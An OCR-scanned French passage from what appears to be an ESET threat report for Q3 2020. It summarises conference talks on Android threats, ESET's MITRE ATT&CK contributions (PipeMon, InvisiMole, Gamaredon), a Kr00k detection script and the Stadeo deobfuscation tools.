Lors de la conference virtuelle DEF CON 28 SAFE MODE, Denise Giusto Bilic et Cecilia Pastorino,
Latin America Security Researchers chez ESET, ont discute de la securite des applications
Android qui contrdlent les modeles les plus fréequemment achetes d’objets sexuels connecteés.
Leur presentation a decrit les failles de securite trouvees dans ces appareils, decoulant a la
fois de la mise en ccuvre de l'application et de la conception des appareils, qui affectent le
stockage et le traitement des informations privees.

AUAR CYBER CONCLAUE Ekoparty Online CONFidence Infoshare
Menaces COVID-19 sur Android [71] [72]

Lukas éteFanko, Malware Researcher chez ESET, a fourni un apercu des difféerentes menaces
Android qui ont exploite les craintes autour de COUID-19, durant les evenements virtuels AUAR
CYBER CONCLAUE 2020, Ekoparty 2020, CONFidence 2020 et Infoshare 2020. Les menaces decrites
ont ete pour la plupart diffusees au cours du premier semestre 2020 en imitant des outils de
suivi, des applications gouvernementales et des identificateurs de symptdmes du coronavirus.
Les présentations comportaient egalement des démonstrations de malwares bancaires diffuses
en Italie, et un ransomware Android recemment decouvert, qui ont tous deux tente d’'exploiter
les craintes des gens pendant la pandemie.

Contributions a la base MITRE ATT&CK

Les chercheurs d’ESET contribuent regulierement a MITRE ATT&CK [73], une base de
connalssances accessible publiguement sur les tactigues et les techniques des pirates. Durant

Q3 2020, plusieurs contributions d’ESET ont ete acceptees dans la base de connaissances
ATT&CK :

nouvelle sous-technique dans la matrice Entreprise

extension d’'une sous-technique existante dans la matrice Entreprise
nouvelle contribution dans la catéegorie Logiciels

extension dans la catégorie Logiciels

|
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extension dans la categorie Groupes

Lors de la prochaine mise a jour d’ATT&CK, ces contributions seront repertoriees parmi les _
techniques Entreprise [74] et dans les catégories Logiciels [75] et Groupes [76].

La premiere contribution d’ESET dans Logiciels couvre PipeMon, une porte derobee modulaire a
plusieurs étapes utilisée par le groupe Winnti, signalée par ESET [18] pour la premiéere fois en

mai 2020. Elle a ete utilisee contre plusieurs entreprises de jeux video en Coree du Sud et a
Taiwan.

La methode de persistance de PipeMon a jete les bases d’'une autre contribution : une nouvelle

sous-technique d’exécution automatique du boot et du logon [(T1547) [77], appelée Print

Processors. Les chercheurs d’ESET ont decouvert que le groupe Winnti a utilise la cle de
registre « Print Processors » pour rendre sa porte derobee PipeMon persistante. Les pirates
peuvent utiliser cette technigue pour charger du code malveillant qui persistera a chaque
redemarrage du systeme et s’executera en tant que SYSTEM.

La categorie Logiciels d’ATT&CK recevra egalement de nouvelles informations sur
InvisiMole [S0260] [78], un logiciel espion modulaire utilisé dans des campagnes de

cyberespionnage ciblées en Ukraine et en Russie. Les chercheurs d’ESET ont signalé [79]
InvisiMole pour la premiere fois en 2018 ; deux ans plus tard, ils ont publié [B0] une analyse
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approfondie de la panoplie d'outils et des TTP du groupe. La mise a jour basee sur cette
nouvelle etude permet de relier plus de 40 technigques supplementaires a InvisiMole. Cette
etude a donne lieu a une autre contribution a la matrice Entreprise : une modification

de l'exécution de proxy binaire signé : panneau de contréle (T1218.002]) [81], basée sur le

comportement observe lors de 1'analyse d’'InvisiMole.

La derniere contribution acceptee durant Q3 2020 met a jour l'entree d’ATT&CK concernant
Gamaredon [(GOBO47] [82], un groupe de pirates actif depuis au moins 2013 et ciblant

des institutions ukrainiennes. Dans une étude [36] réecente du groupe Gamaredon, les
chercheurs d’ESET ont pu relier les activités du groupe a un certain nombre de techniques
supplementaires, qui n'etaient pas incluses auparavant dans l'entree Groupes.

Evaluations MITRE ATT&CK

ESET participe aux Evaluations ATT&CK [B3] meneées par MITRE ENGENUITY™ en novembre 2020, gqui
utiliseront 65 techniques ATT&CK sur 11 tactiques ATT&CK. Cela comprend 12 technigques ATT&CK
sur 7 tactiques ATT&CK pour la partie Linux de l'evaluation Carbanak.

De nouvelles fonctionnalites ont ete introduites pour imiter les attaques des groupes
Carbanak et FINY. La possibilite d’evaluer la catégorie Detection mais egalement la
catégorieProtection est particulierement importante. ESET est 1'un des 18 éditeurs (sur un
total de 30) qui sont inscrits a ces évaluations approfondies. Une autre nouveauté qui merite
d’étre mentionnee est la comparaison cote a cote des evaluations de chaque editeur, ce qui
permettra d’'identifier plus facilement les differences entre deux solutions choisies. Ce round
d’evaluations marquera egalement la premiere fois que des capteurs Linux sont inclus, la
majorite des emulations portant toujours axee sur les plateformes Windows.

Autres contributions

Le script de déepistage de Kr@@k est publie sur GitHub

Plus de cing mois se sont écoulés depuis notre annonce publique de la vulnérabilité Kr@@k [1],

et plusieurs preuves de concept publiéees par des chercheurs independants. ESET a decide de
publier le script [B84] que ses chercheurs ont utilisé pour déterminer si des appareils sont
vulnerables a Kr@@k. Nous avons egalement inclus la detection des nouvelles variantes decrites
ici. Ce script peut étre utilise par des chercheurs ou des fabricants d’appareils pour verifier
que des appareils specifigues ont ete corriges et ne sont plus vulnerables.

Les chercheurs d’ESET ont ete distingues pour Kr@@k

Les chercheurs d’ESET, Milog Cermak et Martin KaluZznik, ont été distingués 85] par le Centre de

reponse de securite de Microsoft pour leur contribution a la correction de la vulnerabilite Kr2@k.

Stadeo : un ensemble de scripts publies sur GitHub pour
faciliter l'analyse de Stantinko

Les chercheurs d’ESET ont publie Stadeo, unh ensemble de scripts qui peuvent aider les
chercheurs et les rétro-ingenieurs a désobfusquer le code de Stantinko [86] et d’autres

malwares. Stantinko est un botnet de fraude au clic, d’'injection de publicites, de fraude sur
les réseaux sociaux, de vol de mots de passe et d’extraction de cryptomonnaie [87]. Stadeo

sera presente pour la premiere fois durant Black Hat USA 2020 et sera ensuite publié pour une
utilisation libre [88].

Les scripts, rediges en Python, traitent des technigues uniques de Stantinko en matiere
d’aplatissement du flux de contréle (CFF) et d'obfuscation des chalnes de caracteres décrites
dans notre article [89] de mars 2020. Ils peuvent également étre utilises a d’autres fins :
Nnous avons par exemple deja etendu notre approche a Emotet, un cheval de Troie qui vole

des identifiants bancaires et telecharge des malwares suppléementaires, notamment des
ransomwares.

Nos méthodes de désobfuscation utilisent IDA [90], qui est un outil standard dans le secteur,
et Miasm [91], un framework open source, et nous fournissent différentes analyses des flux de
donnees, un moteur d’'execution symboligue, un moteur d’'execution symboligue dunamique, et la
possibilité de reassembler les fonctions modifiees.
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A propos des donnees de ce rapport

Les statistiques et les tendances des menaces presentees dans ce rapport reposent
sur les donnees de telemetrie mondiales d’ESET. Sauf indication contraire, les donnees
incluent les menaces quelle que soit la plate-forme cibléee et ne comprennent que des
detections quotidiennes uniques par appareil.

Ces donnees ont pour objectif d’'étre le plus impartiales possible et de maximiser
l'interét des informations fournies sur les menaces les plus importantes.

Elles excluent les detections d’applications potentiellement indésirables [92],

d’applications potentiellement dangereuses [93] et les logiciels publicitaires, sauf dans

les sections plus detaillees specifiques a des plateformes, et dans la section sur les
extracteurs de cryptomonnaie.

La plupart des graphiques de ce rapport montrent des tendances de detection plutdt que
des chiffres absolus. En effet, les donnees peuvent étre sujettes a des interpretations

erronees, en particulier lorsqu’elles sont comparees directement a d’autres donnees de

telemetrie. Des valeurs absolues ou des ordres de grandeur sont ainsi fournis lorsqu’ils
peuvent étre utiles.
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